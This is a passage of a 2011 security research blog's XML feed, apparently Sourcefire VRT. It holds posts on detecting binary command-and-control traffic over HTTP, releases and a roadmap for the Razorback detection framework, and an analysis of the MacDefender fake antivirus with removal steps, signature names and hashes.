Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2518058257182691856</id><published>2011-07-13T13:24:00.000-04:00</published><updated>2011-07-13T13:24:53.962-04:00</updated><title type='text'>Binary C&amp;C Over HTTP</title><content type='html'>A few weeks ago I gave a presentation at the &lt;a href=http://www.caro2011.org/&gt;CARO 2011 Workshop&lt;/a&gt; in Prague. Besides being set in a stunningly beautiful location, the conference was an excellent opportunity to meet malware researchers from around the world - a group who are, by and large, distinct from network security researchers.&lt;br /&gt;&lt;br /&gt;Since I personally happen to think that the separation of these two groups is a shame (and, well, since I needed a topic that would get me out to Prague in the springtime), my presentation crossed the proverbial streams, by looking at malware-generated network traffic. Thanks to the &lt;a href=http://vrt-blog.snort.org/2011/02/blacklistrules-clamav-and-data-mining.html&gt;malware sandbox&lt;/a&gt; we have running over here, I've got traffic like that coming out my ears.&lt;br /&gt;&lt;br /&gt;Specifically, the presentation focused on the presence of pure binary C&amp;C channels being sent over HTTP. After the Night Dragon trojan (SIDs 18458/18459 for those keeping score at home) created a big media stir back in February, I was struck by the realization that sending data without HTTP headers over port 80 was actually a pretty solid trick, and that other malware authors might be doing something similar. After all, basically every firewall on the planet will let you initiate an outbound connection to the Internet on that port, and net flow sure isn't going to do much good on the busiest port on any network. Where better to be a needle in a haystack?&lt;br /&gt;&lt;br /&gt;Running through approximately 1.5 million PCAPs from the sandbox, I realized that not only was this sort of thing happening among other malware families - it was actually fairly common. In fact, a full 0.8% of those 1.5 million samples showed this sort of behavior - a number which seems small, until you realize just how much malware you could catch with extremely simple behavioral analysis.&lt;br /&gt;&lt;br /&gt;For those interested in more details, you can &lt;a href=http://labs.snort.org/files/characteristics-detection-http-cnc.pdf&gt;read my slides here&lt;/a&gt;. We are willing to share samples with legitimate security researchers - provided you're willing to send relevant data back our way in return.&lt;br /&gt;&lt;br /&gt;For those just interested in protecting their networks - we're currently working with the Snort team to find the best way of detecting traffic like this at a generic level. In the meantime, I highly suggest that you enable SID 18492 - which looks for DNS queries made by the most prevalent bit of malware displaying this behavior in our sandbox - and that you consider turning on the entirety of our blacklist.rules and botnet-cnc.rules categories, which is where we're adding most of the new rules pulled from data generated by the sandbox.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2518058257182691856?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2518058257182691856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2518058257182691856' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2518058257182691856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2518058257182691856'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/07/binary-c-over-http.html' title='Binary C&amp;C Over HTTP'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6259925356980225172</id><published>2011-07-12T14:45:00.000-04:00</published><updated>2011-07-12T14:45:03.860-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><title type='text'>Now Available -- Razorback 0.2 Release Candidate</title><content type='html'>&lt;h1&gt;0.2 Release Candidate&lt;/h1&gt;This week we’re putting out the Razorback 0.2 release candidate. &amp;nbsp;You can find it here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.2.0-rc.tbz/download" target="_blank"&gt;http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.2.0-rc.tbz/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This release, and the 0.2 final release scheduled for next week, contains all the major functionality for the dispatcher. The dispatcher in 0.2 now has the following capabilities:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Data acquisition and submission API&lt;/li&gt;&lt;li&gt;Alerting and judgment API&lt;/li&gt;&lt;li&gt;Queue based messaging system&lt;/li&gt;&lt;li&gt;Data blocks stored to disk&lt;/li&gt;&lt;li&gt;Support for local (shared file system) and over-the-wire data block transmission&lt;/li&gt;&lt;li&gt;Local and global caching services&lt;/li&gt;&lt;li&gt;MySQL database&amp;nbsp;back-end&lt;/li&gt;&lt;li&gt;Remote management through the use of libcli&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;We use several open source services and libraries, so you’ll need to have those set up. The quick list is:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Apache's ActiveMQ&lt;/li&gt;&lt;li&gt;memcached (and associated libraries)&lt;/li&gt;&lt;li&gt;libcli&lt;/li&gt;&lt;li&gt;mysql (and associated libraries)&lt;/li&gt;&lt;li&gt;uuid libraries&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Tom "The Amish Hammer" Judge has done a great job of laying out the prerequisites and other installation information on the Sourceforge Trac site here: &lt;a href="http://sourceforge.net/apps/trac/razorbacktm/"&gt;http://sourceforge.net/apps/trac/razorbacktm/&lt;/a&gt;. After you have the prerequisites for installation, getting setup with a basic setup goes something like this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;tar -zxvf&amp;nbsp;razorback-0.2rc.tar.gz&lt;/li&gt;&lt;li&gt;cd razorback&lt;/li&gt;&lt;li&gt;./configure --prefix=/home/myhome/02rc/ --enable-debug --disable-officeCat --enable-routing-stats --disable-snort --disable-clamavNugget --with-api=/home/myhome/02rc/lib/&lt;/li&gt;&lt;li&gt;make; make install&lt;/li&gt;&lt;li&gt;Use the .sql scripts in ./dispatcher/share to setup schema and populate key data fields&lt;/li&gt;&lt;li&gt;cd /home/my home/02rc/etc/razorback&lt;/li&gt;&lt;li&gt;Change the names of *.config.sample to *.config&lt;/li&gt;&lt;li&gt;Change the name of magic.sample to magic&lt;/li&gt;&lt;li&gt;Edit dispatcher.conf&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Modify database settings&lt;/li&gt;&lt;li&gt;Modify GlobalCache settings to point to your memcached server&lt;/li&gt;&lt;li&gt;Change username/password for the console&lt;/li&gt;&lt;li&gt;For now, leave everything else at default&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Edit rzb.conf&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Modify MessageQueue to point to your ActiveMQ server&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;cd /home/myhome/02rc/bin&lt;/li&gt;&lt;li&gt;./dispatcher -d&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Dispatcher should start up in debug mode&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;In another window, and in /home/myhome/02rc/bin:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;./masterNugget -d&lt;/li&gt;&lt;li&gt;master nugget and any nuggets you configured should start up in debug mode&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;In another window, and in /home/myhome/02rc/bin:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Find a PDF file&lt;/li&gt;&lt;li&gt;Inject it into the system: &lt;/li&gt;&lt;ul&gt;&lt;li&gt;/home/myhome/02rc/bin/fileInject&amp;nbsp;&amp;nbsp;--type=PDF_FILE --file=monkey.pdf&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;A copy should be in your /tmp directory called block-&lt;sha256&gt;. &amp;nbsp;This is done by the File Log nugget.&lt;/sha256&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;That test means your basic setup works. &amp;nbsp;We'll follow up with more information on the ClamAV and Snort-as-a-Collector nuggets in a future blog post, but both are functional for this build. &amp;nbsp;As always, you can get support from the Razorback trac site or from the &lt;a href="https://sourceforge.net/projects/razorbacktm/support"&gt;Razorback mailing lists&lt;/a&gt;.&lt;br /&gt;&lt;ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h1&gt;Q3 -- Detection&lt;/h1&gt;&lt;br /&gt;Now that we have the core of the system mostly in place, the Supreme High Royal Emperor Watchinski, head of the VRT, has declared that Q3 will be dedicated to building out the detection capability. &amp;nbsp;And there was much rejoicing. &amp;nbsp;(Seriously, the Dispatcher is awesome and all, but what we really want to do is detect bad things. &amp;nbsp;Its our thing.)&lt;br /&gt;&lt;br /&gt;To that end we'll be working towards several goals:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Script interface so that detection can be build in any given scripting language&lt;/li&gt;&lt;li&gt;A web portal so you can submit files to our Razorback deployment&lt;/li&gt;&lt;li&gt;A "Defense Run" where each developer works on two new nuggets for collection or detection&lt;/li&gt;&lt;li&gt;Improved configuration setup&lt;/li&gt;&lt;li&gt;A set of ISOs and VMWare images so you can quickly get the system up for testing.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;We'll keep you up to date on the Q3 stuff and we hope you let us know how you are doing with the 0.2RC. &amp;nbsp;You can expect a final release of the 0.2 build sometime next week, provided all goes well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6259925356980225172?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6259925356980225172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6259925356980225172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6259925356980225172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6259925356980225172'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/07/now-available-razorback-02-release.html' title='Now Available -- Razorback 0.2 Release Candidate'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5516901530565429069</id><published>2011-06-28T14:08:00.000-04:00</published><updated>2011-06-28T14:08:38.889-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rogye antivirus'/><title type='text'>A Close Look at Rogue Antivirus Programs</title><content type='html'>A couple of weeks ago I attended &lt;a href="http://www.hackinparis.com/"&gt;Hack In Paris&lt;/a&gt; (France, not Texas). It was a nice break from the crazy temperatures and humidity we had been experiencing in Washington, DC and I'm sure that all the attendees appreciated the fact that the conference took place on the grounds of Disneyland Paris. Given the excellent speakers at the conference, who covered various topics from smartphone security to Win32 exploit development, I enjoyed much more than nice weather and a great venue. This well-organized conference could easily become one of the premier European IT security conferences.&lt;br /&gt;&lt;br /&gt;I was happy to be selected to give a talk entitled "A Close Look at Rogue Antivirus Programs". You will find the &lt;a href="http://labs.snort.org/files/azidouemba_rogue_av_hip2011.pdf"&gt;PDF of the slides here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Please take a look. Any questions, comments, suggestions are welcome, either here, on twitter (@number007) or directly to me via email: azidouemba at sourcefire dot com.&lt;br /&gt;&lt;br /&gt;By the way, as if on cue, ChronoPay's co-founder Pavel Vrublevsky was arrested and held without bail on June 23, 2011 for allegedly hiring hackers to attack his company's rival. This arrest comes just 24h after authorities in the US and in seven other countries seized servers belonging to a hacking group behind a rogue AV campaign that netted them over $72 million.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5516901530565429069?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5516901530565429069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5516901530565429069' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5516901530565429069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5516901530565429069'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/06/close-look-at-rogue-antivirus-programs.html' title='A Close Look at Rogue Antivirus Programs'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3680128912350570089</id><published>2011-05-10T15:42:00.003-04:00</published><updated>2011-05-24T21:34:32.837-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='OSX'/><category scheme='http://www.blogger.com/atom/ns#' term='omg'/><title type='text'>MacDefender and its variants</title><content type='html'>MacDefender showed up on the radar last week, as the first fake Anti-Virus (AV) ScamWare for MacOSX. Currently, its distributed under a couple of different names (that all display the same functionality); MacDefender, MacProtector, and "Mac Security".  In the Windows world this flavor of malware has existed for years, enticing unsuspecting users into installing bogus AV software under the guise of the client machine being infected. Then once it scares you into believing you're infected, it asks for your credit card information in order to purchase the application that will "fix" the infection. In the Security realm we see this all the time on Windows systems, but I'm guessing the Mac user community doesn't have much experience with this type of scam.&lt;br /&gt;&lt;br /&gt;If you are one of the people that hasn't seen this type of scam before here is some technical information about how it works, what it does, and how to protect against it:&lt;br /&gt;&lt;ol style="list-style: decimal inside;"&gt;&lt;li&gt;&lt;b&gt;“How did it find its way onto my machine?”&lt;/b&gt;&lt;/li&gt;MacDefender used a lot of SEO poisoning attacks to get their links in the top of various search engine's results.  When you browse to one of these malicious sites a feature of Safari is used (the default browser on OSX) to automatically download the malware package containing this "MacDefender" software.  This is possible, since the default configuration for Safari has "Open "safe" files after downloading" checked (by default) in their browser.  This setting is under "Preferences" in Safari and is at the bottom of the "General" tab (the first tab).  We recommend you uncheck this:  &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-4sYqdHIIHUU/TchUmVCbmVI/AAAAAAAAACI/qrNEW1CpFRI/s1600/General-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 0; display: block; margin-left: auto; margin-right: auto;" src="http://1.bp.blogspot.com/-4sYqdHIIHUU/TchUmVCbmVI/AAAAAAAAACI/qrNEW1CpFRI/s1600/General-1.jpg" alt="uncheck tab"/&gt;&lt;/a&gt; &lt;/div&gt;Go ahead, we'll wait here.&lt;li&gt;&lt;b&gt;"Once it's downloaded"&lt;/b&gt;&lt;/li&gt;Like other pieces of "OSX malware" in the past, you have to open it (which the above checkbox will perform for you), then install it.  This uses a normal looking OSX package installer, during which, you will have to type in your Admin credentials. Once you have done that it will install and initiate a fake antivirus scan of running processes and files on your system.  It will then inform you that something is infected and needs to be cleaned up. So the basic scenario looks like this: &lt;ul&gt;&lt;li&gt;You use a search term in a web search engine (like Google or Bing)&lt;/li&gt;&lt;li&gt;You get your results, you click on one of the links in those results to read the information you are looking for&lt;/li&gt;&lt;li&gt;The webpage you landed on, unbeknownst to you, contains a link that downloads some malware and you are presented with the interface for an installer for some strange piece of software that you didn't intend to download, which requires your admin credentials to continue the installation&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;b&gt;"Now what?"&lt;/b&gt;&lt;/li&gt;Honestly, the GUI for this particular piece of malware looks very professional.  The variants have different colored icons and such, but essentially, each version looks similar to this:  &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-IqAbNSCfZOo/TchVFdKqkqI/AAAAAAAAACM/MepjWye42Fs/s1600/MacDefender-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 0; display: block; margin-left: auto; margin-right: auto;" src="http://4.bp.blogspot.com/-IqAbNSCfZOo/TchVFdKqkqI/AAAAAAAAACM/MepjWye42Fs/s320/MacDefender-1.jpg" alt="MacDefender" /&gt;&lt;/a&gt; &lt;/div&gt;It looks just like a genuine OSX application, because it is one, it was written using the same language and tools used by OSX developers all over the world. The purpose of course, unlike most applications, is nefarious. There aren't any telltale signs that it's actually malware. No words are misspelled, the grammar is acceptable to the casual reader. It makes use of proportionally spaced fonts, justified text and all the other niceties you would expect from a real product that has gone through a development, testing and QA cycle that genuine software is put through every day by software companies. Even some of the functionality you would expect from genuine AV software is replicated. For example, the scan window looks like it's going to do something productive:  &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-hSrtkhxnxcw/TchVOUB8_TI/AAAAAAAAACQ/EM7QwBP8PDU/s1600/MacDefender2-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 0; display: block; margin-left: auto; margin-right: auto;" src="http://4.bp.blogspot.com/-hSrtkhxnxcw/TchVOUB8_TI/AAAAAAAAACQ/EM7QwBP8PDU/s320/MacDefender2-1.jpg" alt="MacDefender scan" /&gt;&lt;/a&gt; &lt;/div&gt;In reality however, it doesn't actually scan your hard drive for anything.  What it may do though, is open up "popup" windows in your browser to display some "interesting" NSFW web sites in order to make you think you are infected, and to further convince you to buy this program. (We didn't observe this functionality in our investigation though)  The malware authors hope that this will scare you into purchasing the software. If you are sufficiently convinced, you take out your credit card, enter the information and are charged $79.95 for a "lifetime" protection. Given that most real AV packages for Windows normally charge between $20 and $50, this seems a little steep, but since the GUI looks good, it must do a good job and Mac users are used to spending a little more than their Windows counterparts for software, so I'm guessing the authors thought it would be a reasonable amount that a Mac user wouldn't mind paying. &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ZwQG0egyOQM/TchVeUhIY4I/AAAAAAAAACU/h72E_eVyJF8/s1600/60_percent.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img style="border: 0; display: block; margin-left: auto; margin-right: auto;" src="http://1.bp.blogspot.com/-ZwQG0egyOQM/TchVeUhIY4I/AAAAAAAAACU/h72E_eVyJF8/s320/60_percent.jpg" alt="MacDefender cost" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;li&gt;&lt;b&gt;"How can I remove it/prevent infection?"&lt;/b&gt;&lt;/li&gt;&lt;ol style="list-style: lower-roman;"&gt;&lt;li&gt;Uncheck "Open safe files", see #1 above.&lt;/li&gt;&lt;li&gt;Open up "Activity Monitor" (this is in your Utilities folder within Applications)&lt;/li&gt;&lt;li&gt;Find "MacDefender" (or whatever the malware is being called, MacProtector, Mac Security, etc)&lt;/li&gt;&lt;li&gt;Highlight it then click "Quit Process" which looks like a big red stop sign at the top right of the Activity Monitor screen.&lt;/li&gt;&lt;li&gt;Next, open System Preferences, and go to "Accounts". When it appears click on the "Login Items" button, select the program, and then click the "minus" button to remove it from Login Items.&lt;/li&gt;&lt;li&gt;Next, navigate to your Applications folder, find the program, drag it to the trashcan, and then empty the trashcan. Yes. It's really that simple to remove.&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;Today's SEU and rule release contains rules to detect existing infections. So, if you have Macs on your network, turn on GID 1, SIDs 18942 and 18943. Look for events from these two rules and if you see them, have the owner of the machine call their credit card company immediately.&lt;br /&gt;&lt;br /&gt;Also included in today's release is GID 1, SID 18944, which will generate events for network traffic that displays the characteristic signs of numerous known fake AV variants for both Windows and OSX. Let us know how that one works, we built that particular rule by analyzing more than 1000 samples of fake AV malware in our repository. The rule may generate some false positive events, so make sure to investigate your results carefully and send us the information. Use the form on snort.org here: &lt;a href="https://www.snort.org/uploads"&gt;https://www.snort.org/uploads&lt;/a&gt; to do so. (requires you to login with your snort.org account first)&lt;br /&gt;&lt;br /&gt;We issued ClamAV signatures for MacDefender several days ago and we will continue to update those as new variants are discovered. They are named:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Trojan.OSX.MacDefender&lt;/li&gt;&lt;li&gt;Trojan.OSX.MacDefender.B&lt;/li&gt;&lt;li&gt;Trojan.OSX.MacDefender.C&lt;/li&gt;&lt;/ul&gt;The md5 sums for MacDefender and MacProtector:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;2f357b6037a957be9fbd35a49fb3ab72 &lt;/li&gt;&lt;li&gt;a437eaafa5f90b15dbf98123e5dccf1c&lt;/li&gt;&lt;/ul&gt;Finally, we recommend that you only buy software from reputable places, not from popup windows in your browser, and not from some random website you are currently viewing. Websites and advertisements on them, have been claiming to detect the presence of malware on PCs for a long time. It is one of the oldest tricks in the book and many people still fall for it. The Internet is akin to the old strip in Las Vegas, confidence tricksters and scam artists on every block, all looking to take money from gullible tourists. Don't be fooled, educate yourselves and your users, learn to recognize the scams and how to deal with them.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;b&gt;Update:&lt;/b&gt;&lt;/h2&gt;Apple have now released information on how to remove this malware.&lt;br /&gt;Instructions are available here &lt;a href="http://support.apple.com/kb/HT4650"&gt;KB Article HT4650&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3680128912350570089?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3680128912350570089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3680128912350570089' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3680128912350570089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3680128912350570089'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/05/macdefender-and-its-variants.html' title='MacDefender and its variants'/><author><name>Joel Esler</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cMCd9mdQ_m0/TQapQCLpj3I/AAAAAAAAAAM/3JuBi1c88Bc/S220/Headshot.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-4sYqdHIIHUU/TchUmVCbmVI/AAAAAAAAACI/qrNEW1CpFRI/s72-c/General-1.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3679979916282797234</id><published>2011-05-03T17:41:00.001-04:00</published><updated>2011-05-03T21:43:42.781-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soothsaying'/><category scheme='http://www.blogger.com/atom/ns#' term='Amish Hammers'/><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><category scheme='http://www.blogger.com/atom/ns#' term='Olney&apos;s Horrible DB'/><title type='text'>Razorback Roadmap and Status Report</title><content type='html'>&lt;p&gt;&lt;i&gt;In which we get our first introduction to Tom Judge, the Amish Hammer.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Yep, you're right, we've been kinda quiet lately. &amp;nbsp;Some of that has been because we are the VRT in addition to the developers of Razorback and we had some big things to tackle in our other roles. &amp;nbsp;But we've also been just thinking and taking in some feedback. &amp;nbsp;We now have full time developers (and are still hiring, hint, hint) working on the project and we took the opportunity to revisit the architecture and, at a substantially more reasonable pace, decide if we were on track and where we wanted to go. &amp;nbsp;We have been working a lot on review and design, so you'll find this document somewhat lengthy. &amp;nbsp;Take a break after each list and go get some tea or something.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;First, we thought again about what our goals were for Razorback. &amp;nbsp;These are the first things that developers are told when they get here and a list we frequently reference when discussing architecture changes. &amp;nbsp;These are our initial goals:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&amp;nbsp;Don't get in the user's way --&amp;nbsp;By this we mean that we don't make assumptions about a user's network or needs. &amp;nbsp;We don't want to make lazy decisions by making end users jump through hoops or have to work within unnecessary and opaque requirements. &amp;nbsp;The goal is to make a framework, not a prison.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&amp;nbsp;Take care of the common stuff &amp;nbsp;--&amp;nbsp;We initially designed this system to allow talented people and teams to rapidly develop detection. &amp;nbsp;For example, many of the teams we talked to showed a particular (and not surprising) interest in web, mail and dns traffic. &amp;nbsp;Since this is a broad requirement, we added specific database tables and API calls to track these traffic types.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&amp;nbsp;Hide nothing and never make the user duplicate work --&amp;nbsp;Ultimately this will be up to nugget builders, but we've provided the alerting and database framework so that every piece of analyzed information or normalized data can be stored and linked to the source files. &amp;nbsp;The classic example we use to explain to incoming developers what we mean by this is the PDF file. &amp;nbsp;If we decompress an object, store that object for the user in decompressed form. &amp;nbsp;If we analyze Javascript, fix it up and rename variables for ease of use, store that normalized Javascript block. &amp;nbsp;If we find&amp;nbsp;shell code, store it separately and provide an explanation of what the&amp;nbsp;shell code&amp;nbsp;would do if it ran.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&amp;nbsp;Build from the bottom up to scale big --&amp;nbsp;From the&amp;nbsp;beginning&amp;nbsp;we knew that this system, if implemented at any fairly sized network would require some horsepower. &amp;nbsp;We're taking the time to do work on arbitrary amounts of inbound data. &amp;nbsp;So we don't short cut code, we think about the speed impact up front and we minimize the work we do in the dispatcher. &amp;nbsp;It has a few discrete functions, and everything else is handed out to nuggets. &amp;nbsp;We continually review architecture for excessive network traffic, unnecessary scope creep and silly (some argue "clever") design decisions. &amp;nbsp;We have a strong admiration for the simple and a profound dislike for "magic".&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&amp;nbsp;Let the user do what he needs to do --&amp;nbsp;You might think this is covered under 1, but this addresses the core functionality of Razorback, as opposed to operational considerations. &amp;nbsp;We try to make every component, capability and user-facing operation configurable. &amp;nbsp;We try to ensure that we provide timely and readable logging. &amp;nbsp;But most of all, when it comes to detection, we want to let entities build on the framework to get it to do what they need it to do. &amp;nbsp;We know there are really smart people out there, and we want to let them be smart quickly. &amp;nbsp;So we provide user-definable flag fields in data-block,&amp;nbsp;IP&amp;nbsp;address,&amp;nbsp;IP&amp;nbsp;block, user and AS blocks to track information in an enterprise-specific way. &amp;nbsp;We allow analyst notes to be attached to just about any database entity. &amp;nbsp;We allow users to define their own data types that we route as easily as any of our provided types. &amp;nbsp;We allow arbitrary reporting. &amp;nbsp;In short, we want to be a framework, not a prison. (Yes, I know I'm repeating myself)&lt;br /&gt;&lt;/ol&gt;&lt;p&gt;So where is Razorback now? &amp;nbsp;We've got a 0.1.5 release tagged and available as a tarball up on sourceforge (&lt;a href="http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.1.5.tbz/download"&gt;http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.1.5.tbz/download&lt;/a&gt;). &amp;nbsp;This is, pending something awesome in the way of a bug, the last of our development on the POC code we initially released at DEFCON last year. &amp;nbsp;It is fairly functional, and works well enough to demonstrate our thinking. &amp;nbsp;But we're in the midst of reimplementing it at a more sane pace, hopefully for the better.  &lt;p&gt;Sourcefire has given us not just developers, but also the time to continue this as a research application. &amp;nbsp;We have our final design pretty much laid out and we think we know where we're going. &amp;nbsp;But we have the leeway to spend time testing solutions, constantly refactoring code and proving to each other that we are headed in the right direction. &amp;nbsp;If we find we've developed ourselves into a corner, we'll be able to backup and rethink our approach. &amp;nbsp;We're taking full advantage of this.  &lt;p&gt;First, a caveat: &amp;nbsp;This is a list of things we hope to get done. &amp;nbsp;This is not a contract, this is not a guarantee. &amp;nbsp;But this is the way we're currently headed. &amp;nbsp;That being said, here is what we hope to get done this year: &lt;ol&gt;&lt;li&gt;Packaging -- Razorback right now is&amp;nbsp;ridiculously&amp;nbsp;hard to install and configure. &amp;nbsp;Our goal is to build out a saner way to keep up with updates (all new files are in a single repository, not split between dispatcher and nuggets). &amp;nbsp;We also now provide a single configuration point to begin the build process. &amp;nbsp;We're also&amp;nbsp;targeting&amp;nbsp;a install process to help a new user get up to speed quickly so they can start playing.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Security -- Both encryption and AAA services are being built into the system. &amp;nbsp;Authorization must occur at the earliest point possible and encryption options must be available for all traffic that could reveal data blocks, reporting or forensic data. &amp;nbsp;Also, silly implementation errors result in extreme mocking of developers and we hand over code to our tame hackers to generate more&amp;nbsp;embarrassment.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Networking -- IPv6 must be supported throughout the platform. &amp;nbsp;We must be nice to network operations folks and not transmit things on the network we don't have to.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Operational interfaces -- &amp;nbsp;Razorback 0.1.5 doesn't do a good job of communication at an operational level what is going on. &amp;nbsp;Incident response teams can get a lot of information, but the admin of the box is short on options to get insight into what is going on. &amp;nbsp;During architecture of components in the new build of Razorback, we're keeping a close eye on configuration options, verbose logging, metrics and fault-tolerance. &amp;nbsp;To assist in this, a real-time admin interface will be made available to the dispatcher.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Data transfer -- We're implementing 